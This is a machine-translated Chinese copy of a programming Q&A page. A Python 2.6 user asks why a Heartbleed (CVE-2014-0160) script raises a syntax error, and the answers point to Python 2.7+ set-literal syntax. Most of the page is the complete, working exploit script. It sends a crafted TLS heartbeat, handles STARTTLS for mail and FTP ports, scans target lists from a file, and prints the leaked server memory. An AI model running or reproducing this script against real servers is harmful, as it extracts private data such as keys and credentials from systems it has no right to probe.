2014-11-25 70 views
-6

當我嘗試運行以下heartbleed代碼時,它會引發語法錯誤。我是python的新手。我試圖找到語法錯​​誤,但失敗了。我正在使用Python 2.6。Python中無效的語法錯誤HeartBleed腳本

#!/usr/bin/python 

import sys 
import struct 
import socket 
import time 
import select 
import re 
from optparse import OptionParser 

options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)') 
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)') 
options.add_option('-n', '--num', type='int', default=1, help='Number of times to connect/loop (default: 1)') 
options.add_option('-t', '--tls', type='int', default=1, help='Specify TLS version: 0 = 1.0, 1 = 1.1, 2 = 1.2 (default: 1)') 
options.add_option('-s', '--starttls', action="store_true", dest="starttls", help='Issue STARTTLS command for SMTP/POP/IMAP/FTP/etc...') 
options.add_option('-f', '--filein', type='str', help='Specify input file, line delimited, IPs or hostnames or IP:port or hostname:port') 
options.add_option('-v', '--verbose', action="store_true", dest="verbose", help='Enable verbose output') 

opts, args = options.parse_args() 

def h2bin(x): 
    return x.replace(' ', '').replace('\n', '').decode('hex') 

hello = h2bin(''' 
16 03 02 00 dc 01 00 00 d8 03 02 53 
43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf 
bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00 
00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88 
00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c 
c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09 
c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44 
c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c 
c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11 
00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04 
03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19 
00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08 
00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13 
00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00 
00 0f 00 01 01         
''') 

# set TLS version 
if opts.tls == 0: 
    hb = h2bin('''18 03 01 00 03 01 40 00''') 
elif opts.tls == 1: 
    hb = h2bin('''18 03 02 00 03 01 40 00''') 
elif opts.tls == 2: 
    hb = h2bin('''18 03 03 00 03 01 40 00''') 
else: 
    hb = h2bin('''18 03 02 00 03 01 40 00''') 


def hexdump(s): 
    pdat = '' 
    for b in xrange(0, len(s), 16): 
     lin = [c for c in s[b : b + 16]] 
     #hxdat = ' '.join('%02X' % ord(c) for c in lin) 
     pdat += ''.join((c if ((32 <= ord(c) <= 126) or (ord(c) == 10) or (ord(c) == 13)) else '.')for c in lin) 
    #print ' %04x: %-48s %s' % (b, hxdat, pdat) 
    pdat = re.sub(r'([.]{50,})', '', pdat) 
    return pdat 

def recvall(s, length, timeout=5): 
    try: 
     endtime = time.time() + timeout 
     rdata = '' 
     remain = length 
     while remain > 0: 
      rtime = endtime - time.time() 
      if rtime < 0: 
       return None 
      r, w, e = select.select([s], [], [], 5) 
      if s in r: 
       data = s.recv(remain) 
       # EOF? 
       if not data: 
        return None 
       rdata += data 
       remain -= len(data) 
     return rdata 

    except: 
     print "Error receiving data: ", sys.exc_info()[0] 

def recvmsg(s): 
    hdr = recvall(s, 5) 
    if hdr is None: 
     print 'Unexpected EOF receiving record header - server closed connection' 
     return None, None, None 
    typ, ver, ln = struct.unpack('>BHH', hdr) 
    pay = recvall(s, ln, 10) 
    if pay is None: 
     print 'Unexpected EOF receiving record payload - server closed connection' 
     return None, None, None 
    if opts.verbose: 
     print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay)) 
    return typ, ver, pay 

def hit_hb(s, targ): 
    s.send(hb) 
    while True: 
     typ, ver, pay = recvmsg(s) 
     if typ is None: 
      print 'No heartbeat response received, server likely not vulnerable' 
      return '' 

     if typ == 24: 
      if opts.verbose: 
       print 'Received heartbeat response...' 
      #hexdump(pay) 
      if len(pay) > 3: 
       print 'WARNING: ' + targ + ':' + str(opts.port) + ' returned more data than it should - server is vulnerable!' 
      else: 
       print 'Server processed malformed heartbeat, but did not return any extra data.' 
      return hexdump(pay) 

     if typ == 21: 
      print 'Received alert:' 
      hexdump(pay) 
      print 'Server returned error, likely not vulnerable' 
      return '' 

def bleed(targ, port): 
    try: 
     res = '' 
     print 
     print '##################################################################' 
     print 'Connecting to: ' + targ + ':' + str(port) + ' with TLSv1.' + str(opts.tls) 
     for x in range(0, opts.num): 
      s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
      sys.stdout.flush() 
      s.settimeout(10) 
      s.connect((targ, port)) 

      # send starttls command if specified as an option or if common smtp/pop3/imap ports are used 
      if (opts.starttls) or (port in {25, 587, 110, 143, 21}): 

       stls = False 
       atls = False 

       # check if smtp supports starttls/stls 
       if port in {25, 587}: 
        print 'SMTP Port... Checking for STARTTLS Capability...' 
        check = s.recv(1024) 
        s.send("EHLO someone.org\n") 
        sys.stdout.flush() 
        check += s.recv(1024) 
        if opts.verbose: 
         print check 

        if "STARTTLS" in check: 
         opts.starttls = True 
         print "STARTTLS command found" 
        elif "STLS" in check: 
         opts.starttls = True 
         stls = True 
         print "STLS command found" 
        else: 
         print "STARTTLS command NOT found!" 
         print '##################################################################' 
         return 

       # check if pop3/imap supports starttls/stls        
       elif port in {110, 143}: 
        print 'POP3/IMAP4 Port... Checking for STARTTLS Capability...' 
        check = s.recv(1024) 
        if port == 110: 
         s.send("CAPA\n") 
        if port == 143: 
         s.send("CAPABILITY\n") 
        sys.stdout.flush() 
        check += s.recv(1024) 
        if opts.verbose: 
         print check 

        if "STARTTLS" in check: 
         opts.starttls = True 
         print "STARTTLS command found" 
        elif "STLS" in check: 
         opts.starttls = True 
         stls = True 
         print "STLS command found" 
        else: 
         print "STARTTLS command NOT found!" 
         print '##################################################################' 
         return 

       # check if ftp supports auth tls/starttls       
       elif port in {21}: 
        print 'FTP Port... Checking for AUTH TLS Capability...' 
        check = s.recv(1024) 
        s.send("FEAT\n") 
        sys.stdout.flush() 
        check += s.recv(1024) 
        if opts.verbose: 
         print check 

        if "STARTTLS" in check: 
         opts.starttls = True 
         print "STARTTLS command found" 
        elif "AUTH TLS" in check: 
         opts.starttls = True 
         atls = True 
         print "AUTH TLS command found" 
        else: 
         print "STARTTLS command NOT found!" 
         print '##################################################################' 
         return 

       # send appropriate tls command if supported       
       if opts.starttls:  
        sys.stdout.flush() 
        if stls: 
         print 'Sending STLS Command...' 
         s.send("STLS\n") 
        elif atls: 
         print 'Sending AUTH TLS Command...' 
         s.send("AUTH TLS\n") 
        else: 
         print 'Sending STARTTLS Command...' 
         s.send("STARTTLS\n") 
        if opts.verbose: 
         print 'Waiting for reply...' 
        sys.stdout.flush() 
        recvall(s, 100000, 1) 

      print 
      print 'Sending Client Hello...' 
      sys.stdout.flush() 
      s.send(hello) 
      if opts.verbose: 
       print 'Waiting for Server Hello...' 
      sys.stdout.flush() 
      while True: 
       typ, ver, pay = recvmsg(s) 
       if typ == None: 
        print 'Server closed connection without sending Server Hello.' 
        print '##################################################################' 
        return 
       # Look for server hello done message. 
       if typ == 22 and ord(pay[0]) == 0x0E: 
        break 

      print 'Sending heartbeat request...' 
      sys.stdout.flush() 
      s.send(hb) 
      res += hit_hb(s, targ) 
      s.close() 

     print '##################################################################' 
     print  
     return res 

    except: 
     print "Error connecting to host: ", sys.exc_info()[0] 
     print '##################################################################' 
     print    

def main(): 
    allresults = '' 

    # if a file is specified, loop through file 
    if opts.filein: 
     fileIN = open(opts.filein, "r") 

     for line in fileIN: 
      targetinfo = line.strip().split(":") 
      if len(targetinfo) > 1: 
       allresults = bleed(targetinfo[0], int(targetinfo[1])) 
      else: 
       allresults = bleed(targetinfo[0], opts.port) 

      if allresults: 
       print '%s' % (allresults) 

     fileIN.close() 

    else: 
     if len(args) < 1: 
      options.print_help() 
      return 
     allresults = bleed(args[0], opts.port) 
     if allresults: 
      print '%s' % (allresults) 

    print 

if __name__ == '__main__': 
    main() 

錯誤是:

根@ BT:〜/桌面#蟒heartbleed.py文件 「heartbleed.py」,線238 如果(opts.starttls)或(端口{25 ,587,110,143,21}): ^ 語法錯誤:無效的語法

回答

0

請嘗試

if (opts.starttls) or (port in (25, 587, 110, 143, 21)): 

將其轉換爲元組。

0
{25, 587, 110, 143, 21} 

是Python 3語法。它創建了一個集,和直接的Python 2.x的等效代碼會

set((25, 587, 110, 143, 21)) 

雖然任何序列類型會做(例如Lafada的答案),但你可能會發現的代碼的其餘部分有麥凱納位t向後兼容Python 2.x

編輯:我錯了。根據@ jpmc26的評論,它是Python 3的語法,但也支持Python 2.7+

+0

@TesselatingHeckler好吧,這是否意味着最好升級到python 3? Lafada的位固定了所有這些語法錯誤,但現在有新的! _Error接收數據: 意外的EOF接收記錄有效載荷 - 服務器關閉連接 _ – mav3rick 2014-11-25 06:21:15

+0

是 - 除非您有其他需要Python 2的腳本,然後嘗試並保留兩個解釋器,因爲這些腳本可能不能在Python 3上運行。編輯:我不知道該錯誤是否與版本相關,或其他。 – TessellatingHeckler 2014-11-25 06:23:49

+0

有道理。謝謝! – mav3rick 2014-11-25 06:25:23